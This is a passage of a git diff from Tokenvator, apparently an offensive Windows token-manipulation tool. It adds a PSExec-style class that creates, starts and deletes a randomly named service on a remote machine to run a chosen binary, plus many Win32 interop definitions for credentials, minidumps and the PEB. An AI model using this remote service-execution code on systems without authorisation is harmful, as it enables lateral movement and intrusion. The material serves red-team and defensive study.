sealed class PSExec : IDisposable + { + String serviceName; + IntPtr hServiceManager; + IntPtr hSCObject; + + Boolean disposed; + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public PSExec(String serviceName) + { + this.serviceName = serviceName; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public PSExec() + { + this.serviceName = GenerateUuid(12); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + ~PSExec() + { + Dispose(); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public void Dispose() + { + if (!disposed) + { + Delete(); + } + disposed = true; + if (IntPtr.Zero != hSCObject) + { + advapi32.CloseServiceHandle(hSCObject); + } + + if (IntPtr.Zero != hServiceManager) + { + kernel32.CloseHandle(hServiceManager); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal Boolean Connect(String machineName) + { + hServiceManager = advapi32.OpenSCManager( + machineName, null, Winsvc.dwSCManagerDesiredAccess.SC_MANAGER_CONNECT | Winsvc.dwSCManagerDesiredAccess.SC_MANAGER_CREATE_SERVICE + ); + + if (IntPtr.Zero == hServiceManager) + { + Console.WriteLine("[-] Failed to connect service controller {0}", machineName); + return false; + } + + Console.WriteLine("[+] Connected to {0}", machineName); + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // Creates a service + //////////////////////////////////////////////////////////////////////////////// + internal Boolean Create(String lpBinaryPathName) + { + Console.WriteLine("[*] Creating service {0}", serviceName); + //Console.WriteLine(lpBinaryPathName); + IntPtr hSCObject = advapi32.CreateService( + hServiceManager, + serviceName, serviceName, + Winsvc.dwDesiredAccess.SERVICE_ALL_ACCESS, + Winsvc.dwServiceType.SERVICE_WIN32_OWN_PROCESS, + Winsvc.dwStartType.SERVICE_DEMAND_START, + Winsvc.dwErrorControl.SERVICE_ERROR_IGNORE, + lpBinaryPathName, + String.Empty, null, String.Empty, null, null + ); + + if (IntPtr.Zero == hSCObject) + { + Console.WriteLine("[-] Failed to create service"); + Console.WriteLine(Marshal.GetLastWin32Error()); + return false; + } + + advapi32.CloseServiceHandle(hSCObject); + Console.WriteLine("[+] Created service {0}", serviceName); + return true; + } + + /////////////////////////////////////////////////////////////////////////////// + // Opens a handle to a service + /////////////////////////////////////////////////////////////////////////////// + internal Boolean Open() + { + hSCObject = advapi32.OpenService(hServiceManager, serviceName, Winsvc.dwDesiredAccess.SERVICE_ALL_ACCESS); + + if (IntPtr.Zero == hSCObject) + { + Console.WriteLine("[-] Failed to open service"); + Console.WriteLine(Marshal.GetLastWin32Error()); + return false; + } + + Console.WriteLine("[+] Opened service"); + return true; + } + + /////////////////////////////////////////////////////////////////////////////// + // Starts the service, if there is a start timeout error, return true + /////////////////////////////////////////////////////////////////////////////// + internal Boolean Start() + { + if (!advapi32.StartService(hSCObject, 0, null)) + { + Int32 error = Marshal.GetLastWin32Error(); + if (1053 != error) + { + Console.WriteLine("[-] Failed to start service"); + Console.WriteLine(new System.ComponentModel.Win32Exception(error).Message); + return false; + } + } + Console.WriteLine("[+] Service Started"); + return true; + } + + /////////////////////////////////////////////////////////////////////////////// + // Stops the service, if service is already stopped returns true + /////////////////////////////////////////////////////////////////////////////// + internal Boolean Stop() + { + Winsvc._SERVICE_STATUS serviceStatus; + IntPtr hControlService = advapi32.ControlService(hSCObject, Winsvc.dwControl.SERVICE_CONTROL_STOP, out serviceStatus); + + if (IntPtr.Zero == hControlService) + { + Int32 error = Marshal.GetLastWin32Error(); + if (1062 != error) + { + Console.WriteLine("[-] Failed to stop service"); + Console.WriteLine(new System.ComponentModel.Win32Exception(error).Message); + return false; + } + } + Console.WriteLine("[+] Service Stopped"); + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // Deletes the service + //////////////////////////////////////////////////////////////////////////////// + internal Boolean Delete() + { + if (!advapi32.DeleteService(hSCObject)) + { + Console.WriteLine("[-] Failed to delete service"); + Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; + } + Console.WriteLine("[+] Deleted service"); + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal static String GenerateUuid(int length) + { + Random random = new Random(); + const String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + return new String(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Services.cs b/Tokenvator/Resources/Services.cs index 5f9ea28..f977767 100644 --- a/Tokenvator/Resources/Services.cs +++ b/Tokenvator/Resources/Services.cs @@ -1,8 +1,6 @@ using System; using System.Collections.Generic; -using System.Linq; using System.Management; -using System.Text; using System.ServiceProcess; namespace Tokenvator diff --git a/Tokenvator/Resources/Structs.cs b/Tokenvator/Resources/Structs.cs deleted file mode 100644 index 98692ee..0000000 --- a/Tokenvator/Resources/Structs.cs +++ /dev/null @@ -1,155 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Runtime.InteropServices; - -namespace Tokenvator -{ - class Structs - { - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFO - { - public UInt32 cb; - public String lpReserved; - public String lpDesktop; - public String lpTitle; - public UInt32 dwX; - public UInt32 dwY; - public UInt32 dwXSize; - public UInt32 dwYSize; - public UInt32 dwXCountChars; - public UInt32 dwYCountChars; - public UInt32 dwFillAttribute; - public UInt32 dwFlags; - public UInt16 wShowWindow; - public UInt16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFOEX - { - _STARTUPINFO StartupInfo; - // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public UInt32 dwProcessId; - public UInt32 dwThreadId; - }; - - //lpTokenAttributes - [StructLayout(LayoutKind.Sequential)] - public struct _SECURITY_ATTRIBUTES - { - UInt32 nLength; - IntPtr lpSecurityDescriptor; - Boolean bInheritHandle; - }; - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES - { - public UInt32 PrivilegeCount; - public _LUID_AND_ATTRIBUTES Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES_ARRAY - { - public UInt32 PrivilegeCount; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 30)] - public _LUID_AND_ATTRIBUTES[] Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID_AND_ATTRIBUTES - { - public _LUID Luid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID - { - public UInt32 LowPart; - public UInt32 HighPart; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SidIdentifierAuthority - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] - public byte[] Value; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SID_AND_ATTRIBUTES - { - public IntPtr Sid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct TOKEN_MANDATORY_LABEL - { - public SID_AND_ATTRIBUTES Label; - } - - public const Int32 PRIVILEGE_SET_ALL_NECESSARY = 1; - - private const Int32 ANYSIZE_ARRAY = 1; - [StructLayout(LayoutKind.Sequential)] - public struct _PRIVILEGE_SET - { - public UInt32 PrivilegeCount; - public UInt32 Control; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = ANYSIZE_ARRAY)] - public _LUID_AND_ATTRIBUTES[] Privilege; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_USER - { - public SID_AND_ATTRIBUTES User; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - internal struct _CREDENTIAL - { - public Enums.CRED_FLAGS Flags; - public Enums.CRED_TYPE Type; - public IntPtr TargetName; - public IntPtr Comment; - public FILETIME LastWritten; - public UInt32 CredentialBlobSize; - public IntPtr CredentialBlob; - public Enums.CRED_PERSIST Persist; - public UInt32 AttributeCount; - public IntPtr Attributes; - public IntPtr TargetAlias; - public IntPtr UserName; - } - - public struct _SID - { - byte Revision; - byte SubAuthorityCount; - SidIdentifierAuthority IdentifierAuthority; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - ulong[] SubAuthority; - } - } -} diff --git a/Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs b/Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs new file mode 100644 index 0000000..9e56284 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs @@ -0,0 +1,24 @@ +using System.Runtime.InteropServices; + +using DWORD = System.UInt32; + +using PVOID = System.IntPtr; +using HANDLE = System.IntPtr; +using ULONG_PTR = System.UIntPtr; + +namespace Unmanaged.Headers +{ + class MinWinBase + { + [StructLayout(LayoutKind.Sequential)] + public struct _OVERLAPPED + { + public ULONG_PTR Internal; + public ULONG_PTR InternalHigh; + public DWORD Offset; + public DWORD OffsetHigh; + public PVOID Pointer; + public HANDLE hEvent; + } + } +} diff --git a/Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs b/Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs new file mode 100644 index 0000000..6faba20 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs @@ -0,0 +1,80 @@ +using System; +using System.Runtime.InteropServices; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +using ULONG = System.UInt32; +using ULONG32 = System.UInt32; +using ULONG64 = System.UInt64; + +using BOOL = System.Boolean; + +namespace Unmanaged.Headers +{ + sealed class Minidumpapiset + { + [Flags] + public enum _MINIDUMP_TYPE + { + MiniDumpNormal = 0x00000000, + MiniDumpWithDataSegs = 0x00000001, + MiniDumpWithFullMemory = 0x00000002, + MiniDumpWithHandleData = 0x00000004, + MiniDumpFilterMemory = 0x00000008, + MiniDumpScanMemory = 0x00000010, + MiniDumpWithUnloadedModules = 0x00000020, + MiniDumpWithIndirectlyReferencedMemory = 0x00000040, + MiniDumpFilterModulePaths = 0x00000080, + MiniDumpWithProcessThreadData = 0x00000100, + MiniDumpWithPrivateReadWriteMemory = 0x00000200, + MiniDumpWithoutOptionalData = 0x00000400, + MiniDumpWithFullMemoryInfo = 0x00000800, + MiniDumpWithThreadInfo = 0x00001000, + MiniDumpWithCodeSegs = 0x00002000, + MiniDumpWithoutAuxiliaryState = 0x00004000, + MiniDumpWithFullAuxiliaryState = 0x00008000, + MiniDumpWithPrivateWriteCopyMemory = 0x00010000, + MiniDumpIgnoreInaccessibleMemory = 0x00020000, + MiniDumpWithTokenInformation = 0x00040000, + MiniDumpWithModuleHeaders = 0x00080000, + MiniDumpFilterTriage = 0x00100000, + MiniDumpValidTypeFlags = 0x001fffff + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_CALLBACK_INFORMATION + { + public bool CallbackRoutine; + public PVOID CallbackParam; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_EXCEPTION_INFORMATION + { + public DWORD ThreadId; + public System.IntPtr ExceptionPointers; + public BOOL ClientPointers; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_USER_STREAM + { + public ULONG32 Type; + public ULONG BufferSize; + public PVOID Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _MINIDUMP_USER_STREAM_INFORMATION + { + public ULONG UserStreamCount; + public _MINIDUMP_USER_STREAM UserStreamArray; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs b/Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs new file mode 100644 index 0000000..7b80725 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs @@ -0,0 +1,18 @@ +using System; +using System.Runtime.InteropServices; + +namespace Unmanaged.Headers +{ + class Rpcdce + { + [StructLayout(LayoutKind.Sequential, Pack = 1)] + internal struct _GUID + { + internal Int32 Data1; + internal Int16 Data2; + internal Int16 Data3; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + internal Byte[] Data4; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Subauth.cs b/Tokenvator/Resources/Unmanaged/Headers/Subauth.cs new file mode 100644 index 0000000..c550737 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Subauth.cs @@ -0,0 +1,19 @@ +using System.Runtime.InteropServices; + +using USHORT = System.UInt16; + +using PWSTR = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Subauth + { + [StructLayout(LayoutKind.Sequential)] + public struct _LSA_UNICODE_STRING + { + public USHORT Length; + public USHORT MaximumLength; + public PWSTR Buffer; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs b/Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs new file mode 100644 index 0000000..8c09c11 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs @@ -0,0 +1,54 @@ +using System.Runtime.InteropServices; + +using HMODULE = System.IntPtr; +using ULONG_PTR = System.IntPtr; +using LONG = System.Int32; +using DWORD = System.UInt32; +using TCHAR = System.Text.StringBuilder; + +namespace Unmanaged.Headers +{ + sealed class TiHelp32 + { + public const DWORD TH32CS_INHERIT = 0x80000000; + public const DWORD TH32CS_SNAPHEAPLIST = 0x00000001; + public const DWORD TH32CS_SNAPMODULE = 0x00000008; + public const DWORD TH32CS_SNAPMODULE32 = 0x00000010; + public const DWORD TH32CS_SNAPPROCESS = 0x00000002; + public const DWORD TH32CS_SNAPTHREAD = 0x00000004; + public const DWORD TH32CS_SNAPALL = TH32CS_SNAPHEAPLIST | TH32CS_SNAPMODULE | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD; + + [StructLayout(LayoutKind.Sequential)] + public struct tagMODULEENTRY32 + { + public DWORD dwSize; + public DWORD th32ModuleID; + public DWORD th32ProcessID; + public DWORD GlblcntUsage; + public DWORD ProccntUsage; + public System.IntPtr modBaseAddr; + public DWORD modBaseSize; + public HMODULE hModule; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] + public string szModule; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public string szExePath; + } + + [StructLayout(LayoutKind.Sequential)] + public struct tagPROCESSENTRY32 + { + public DWORD dwSize; + public DWORD cntUsage; + public DWORD th32ProcessID; + public ULONG_PTR th32DefaultHeapID; + public DWORD th32ModuleID; + public DWORD cntThreads; + public DWORD th32ParentProcessID; + public LONG pcPriClassBase; + public DWORD dwFlags; + //[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public TCHAR szExeFile; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/WinCred.cs b/Tokenvator/Resources/Unmanaged/Headers/WinCred.cs new file mode 100644 index 0000000..4e602fa --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/WinCred.cs @@ -0,0 +1,63 @@ +using System; +using System.Runtime.InteropServices; + +namespace Unmanaged.Headers +{ + sealed class WinCred + { + [StructLayout(LayoutKind.Sequential)] + public struct _CREDENTIAL_ATTRIBUTE + { + String Keyword; + Int32 Flags; + Int32 ValueSize; + IntPtr Value; + } + + [Flags] + public enum CRED_FLAGS : uint + { + NONE = 0x0, + PROMPT_NOW = 0x2, + USERNAME_TARGET = 0x4 + } + + [Flags] + public enum CRED_TYPE : uint + { + Generic = 1, + DomainPassword, + DomainCertificate, + DomainVisiblePassword, + GenericCertificate, + DomainExtended, + Maximum, + MaximumEx = Maximum + 1000, + } + + [Flags] + public enum CRED_PERSIST : uint + { + Session = 1, + LocalMachine, + Enterprise + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct _CREDENTIAL + { + public CRED_FLAGS Flags; + public CRED_TYPE Type; + public IntPtr TargetName; + public IntPtr Comment; + public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten; + public UInt32 CredentialBlobSize; + public IntPtr CredentialBlob; + public CRED_PERSIST Persist; + public UInt32 AttributeCount; + public IntPtr Attributes; + public IntPtr TargetAlias; + public IntPtr UserName; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Wincon.cs b/Tokenvator/Resources/Unmanaged/Headers/Wincon.cs new file mode 100644 index 0000000..759852e --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Wincon.cs @@ -0,0 +1,18 @@ +using System; +using System.Runtime.InteropServices; + +namespace Unmanaged.Headers +{ + class Wincon + { + [Flags] + public enum CtrlType : uint + { + CTRL_C_EVENT = 0, + CTRL_BREAK_EVENT = 1, + CTRL_CLOSE_EVENT = 2, + CTRL_LOGOFF_EVENT = 5, + CTRL_SHUTDOWN_EVENT = 6 + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Windef.cs b/Tokenvator/Resources/Unmanaged/Headers/Windef.cs new file mode 100644 index 0000000..6de6bfa --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Windef.cs @@ -0,0 +1,17 @@ +using System; +using System.Runtime.InteropServices; + +using LONG = System.Int32; + +namespace Unmanaged.Headers +{ + sealed class Windef + { + [StructLayout(LayoutKind.Sequential)] + public struct tagPOINT + { + public LONG x; + public LONG y; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs b/Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs new file mode 100644 index 0000000..483e734 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs @@ -0,0 +1,131 @@ +using System; +using System.Runtime.InteropServices; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Winsvc + { + [Flags] + public enum dwControl : uint + { + SERVICE_CONTROL_STOP = 0x00000001, + SERVICE_CONTROL_PAUSE = 0x00000002, + SERVICE_CONTROL_CONTINUE = 0x00000003, + SERVICE_CONTROL_INTERROGATE = 0x00000004, + SERVICE_CONTROL_PARAMCHANGE = 0x00000006, + SERVICE_CONTROL_NETBINDADD = 0x00000007, + SERVICE_CONTROL_NETBINDREMOVE = 0x00000008, + SERVICE_CONTROL_NETBINDENABLE = 0x00000009, + SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A + } + + [Flags] + public enum dwControlsAccepted : uint + { + SERVICE_ACCEPT_STOP = 0x00000001, + SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002, + SERVICE_ACCEPT_SHUTDOWN = 0x00000004, + SERVICE_ACCEPT_PARAMCHANGE = 0x00000008, + SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010, + SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100, + + SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020, + SERVICE_ACCEPT_POWEREVENT = 0x00000040, + SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080, + SERVICE_ACCEPT_TIMECHANGE = 0x00000200, + SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400, + SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800 + } + + [Flags] + public enum dwCurrentState : uint + { + SERVICE_STOPPED = 0x00000001, + SERVICE_START_PENDING = 0x00000002, + SERVICE_STOP_PENDING = 0x00000003, + SERVICE_RUNNING = 0x00000004, + SERVICE_CONTINUE_PENDING = 0x00000005, + SERVICE_PAUSE_PENDING = 0x00000006, + SERVICE_PAUSED = 0x00000007 + } + + [Flags] + public enum dwDesiredAccess : uint + { + SERVICE_QUERY_CONFIG = 0x0001, + SERVICE_CHANGE_CONFIG = 0x0002, + SERVICE_QUERY_STATUS = 0x0004, + SERVICE_ENUMERATE_DEPENDENTS = 0x0008, + SERVICE_START = 0x0010, + SERVICE_STOP = 0x0020, + SERVICE_PAUSE_CONTINUE = 0x0040, + SERVICE_INTERROGATE = 0x0080, + SERVICE_USER_DEFINED_CONTROL = 0x0100, + SERVICE_ALL_ACCESS = 0xF01FF + } + + [Flags] + public enum dwErrorControl : uint + { + SERVICE_ERROR_IGNORE = 0x00000000, + SERVICE_ERROR_NORMAL = 0x00000001, + SERVICE_ERROR_SEVERE = 0x00000002, + SERVICE_ERROR_CRITICAL = 0x00000003 + } + + [Flags] + public enum dwSCManagerDesiredAccess : uint + { + SC_MANAGER_ALL_ACCESS = 0xF003F, + SC_MANAGER_CREATE_SERVICE = 0x0002, + SC_MANAGER_CONNECT = 0x0001, + SC_MANAGER_ENUMERATE_SERVICE = 0x0004, + SC_MANAGER_LOCK = 0x0008, + SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020, + SC_MANAGER_QUERY_LOCK_STATUS = 0x0010 + } + + [Flags] + public enum dwServiceType : uint + { + SERVICE_KERNEL_DRIVER = 0x00000001, + SERVICE_FILE_SYSTEM_DRIVER = 0x00000002, + SERVICE_ADAPTER = 0x00000004, + SERVICE_RECOGNIZER_DRIVER = 0x00000008, + SERVICE_WIN32_OWN_PROCESS = 0x00000010, + SERVICE_WIN32_SHARE_PROCESS = 0x00000020, + SERVICE_USER_OWN_PROCESS = 0x00000050, + SERVICE_USER_SHARE_PROCESS = 0x00000060, + SERVICE_INTERACTIVE_PROCESS = 0x00000100 + } + + [Flags] + public enum dwStartType : uint + { + SERVICE_BOOT_START = 0x00000000, + SERVICE_SYSTEM_START = 0x00000001, + SERVICE_AUTO_START = 0x00000002, + SERVICE_DEMAND_START = 0x00000003, + SERVICE_DISABLED = 0x00000004 + } + + [StructLayout(LayoutKind.Sequential)] + public struct _SERVICE_STATUS + { + public dwServiceType dwServiceType; + public dwCurrentState dwCurrentState; + public dwControlsAccepted dwControlsAccepted; + public DWORD dwWin32ExitCode; + public DWORD dwServiceSpecificExitCode; + public DWORD dwCheckPoint; + public DWORD dwWaitHint; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Winternl.cs b/Tokenvator/Resources/Unmanaged/Headers/Winternl.cs new file mode 100644 index 0000000..4a36753 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Winternl.cs @@ -0,0 +1,186 @@ +using System; +using System.Runtime.InteropServices; + +using BYTE = System.Byte; +using BOOL = System.Boolean; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using ULONG = System.UInt32; + +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Winternl + { + [StructLayout(LayoutKind.Explicit, Size = 8)] + public struct LARGE_INTEGER + { + [FieldOffset(0)] + public Int64 QuadPart; + [FieldOffset(0)] + public UInt32 LowPart; + [FieldOffset(4)] + public Int32 HighPart; + } + + [StructLayout(LayoutKind.Sequential, Pack=1)] + public struct _LDR_DATA_TABLE_ENTRY + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + PVOID Reserved1; + _LIST_ENTRY InMemoryOrderLinks; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + PVOID Reserved2; + PVOID DllBase; + PVOID EntryPoint; + PVOID Reserved3; + Subauth._LSA_UNICODE_STRING FullDllName; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + BYTE Reserved4; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)] + PVOID Reserved5; + ULONG CheckSum; + PVOID Reserved6; + ULONG TimeDateStamp; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _LIST_ENTRY + { + IntPtr Flink; + IntPtr Blink; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PEB32 + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + public Byte Reserved1; + public Byte BeingDebugged; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 1)] + public Byte Reserved2; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 2)] + public IntPtr Reserved3; + public IntPtr Ldr; /*_PEB_LDR_DATA*/ + public IntPtr ProcessParameters; /*_RTL_USER_PROCESS_PARAMETERS*/ + [MarshalAs(UnmanagedType.LPArray, SizeConst = 104)] + public Byte Reserved4; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 52)] + public IntPtr Reserved5; + public IntPtr PostProcessInitRoutine; /*_PS_POST_PROCESS_INIT_ROUTINE*/ + [MarshalAs(UnmanagedType.LPArray, SizeConst = 128)] + public Byte Reserved6; + [MarshalAs(UnmanagedType.LPArray, SizeConst = 1)] + public IntPtr Reserved7; + public UInt32 SessionId; + } + + //http://bytepointer.com/resources/peb64.htm + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PEB64 + { + public BYTE InheritedAddressSpace; + public BYTE ReadImageFileExecOptions; + public BYTE BeingDebugged; + public BYTE BitField; + + public UInt32 Reserved3; + public IntPtr Mutant; + public IntPtr ImageBaseAddress; + public IntPtr Ldr; + public IntPtr ProcessParameters; + public IntPtr SubSystemData; + public IntPtr ProcessHeap; + public IntPtr FastPebLock; + + public IntPtr AtlThunkSListPtr; + public IntPtr IFEOKey; + public UInt64 CrossProcessFlags; + public IntPtr KernelCallbackTable; + + //public QWORD UserSharedInfoPtr; + public UInt32 SystemReserved; + public UInt32 AtlThunkSListPtr32; + public IntPtr ApiSetMap; + public UInt32 TlsExpansionCounter; + public IntPtr TlsBitmap; + [MarshalAs(UnmanagedType.U4, SizeConst = 2)] + public UInt32 TlsBitmapBits; + public IntPtr ReadOnlySharedMemoryBase; + public IntPtr HotpatchInformation; + public IntPtr ReadOnlyStaticServerData; + public IntPtr AnsiCodePageData; + public IntPtr OemCodePageData; + public IntPtr UnicodeCaseTableData; + public UInt32 NumberOfProcessors; + public UInt32 NtGlobalFlag; + //public DWORD dummy02; + public Int64 /*LARGE_INTEGER*/ CriticalSectionTimeout; + public QWORD HeapSegmentReserve; + public QWORD HeapSegmentCommit; + public QWORD HeapDeCommitTotalFreeThreshold; + public QWORD HeapDeCommitFreeBlockThreshold; + public DWORD NumberOfHeaps; + public DWORD MaximumNumberOfHeaps; + public QWORD ProcessHeaps; + public QWORD GdiSharedHandleTable; + public QWORD ProcessStarterHelper; + public QWORD GdiDCAttributeList; + public QWORD LoaderLock; + public DWORD OSMajorVersion; + public DWORD OSMinorVersion; + public WORD OSBuildNumber; + public WORD OSCSDVersion; + public DWORD OSPlatformId; + public DWORD ImageSubsystem; + public DWORD ImageSubsystemMajorVersion; + public QWORD ImageSubsystemMinorVersion; + public QWORD ImageProcessAffinityMask; + public QWORD ActiveProcessAffinityMask; + [MarshalAs(UnmanagedType.U8, SizeConst = 30)] + public QWORD GdiHandleBuffer; + public QWORD PostProcessInitRoutine; + public QWORD TlsExpansionBitmap; + [MarshalAs(UnmanagedType.U4, SizeConst = 32)] + public DWORD TlsExpansionBitmapBits; + public QWORD SessionId; + public UInt64 /*ULARGE_INTEGER*/ AppCompatFlags; + public UInt64 /*ULARGE_INTEGER*/ AppCompatFlagsUser; + public QWORD pShimData; + public QWORD AppCompatInfo; + public Subauth._LSA_UNICODE_STRING CSDVersion; + public QWORD ActivationContextData; + public QWORD ProcessAssemblyStorageMap; + public QWORD SystemDefaultActivationContextData; + public QWORD SystemAssemblyStorageMap; + public QWORD MinimumStackCommit; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PEB_LDR_DATA + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + Byte Reserved1; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)] + IntPtr Reserved2; + _LIST_ENTRY InMemoryOrderModuleList; + } + + [StructLayout(LayoutKind.Sequential, Pack=1)] + public struct _RTL_USER_PROCESS_PARAMETERS + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + BYTE Reserved1; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + PVOID Reserved2; + Subauth._LSA_UNICODE_STRING ImagePathName; + Subauth._LSA_UNICODE_STRING CommandLine; + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/Winuser.cs b/Tokenvator/Resources/Unmanaged/Headers/Winuser.cs new file mode 100644 index 0000000..cebcf72 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/Winuser.cs @@ -0,0 +1,119 @@ +using System; +using System.Runtime.InteropServices; + +using UINT = System.UInt32; +using DWORD = System.UInt32; + +using HWND = System.IntPtr; +using WPARAM = System.IntPtr; +using LPARAM = System.IntPtr; + +namespace Unmanaged.Headers +{ + sealed class Winuser + { + public static IntPtr HWND_MESSAGE = new IntPtr(-3); + public static UInt32 WM_QUIT = 0x0012; + public static UInt32 WM_CHANGECBCHAIN = 0x030D; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct tagMSG + { + public HWND hwnd; + public UINT message; + public WPARAM wParam; + public LPARAM lParam; + public DWORD time; + public Windef.tagPOINT pt; + } + + [Flags] + public enum WindowStyles : long + { + 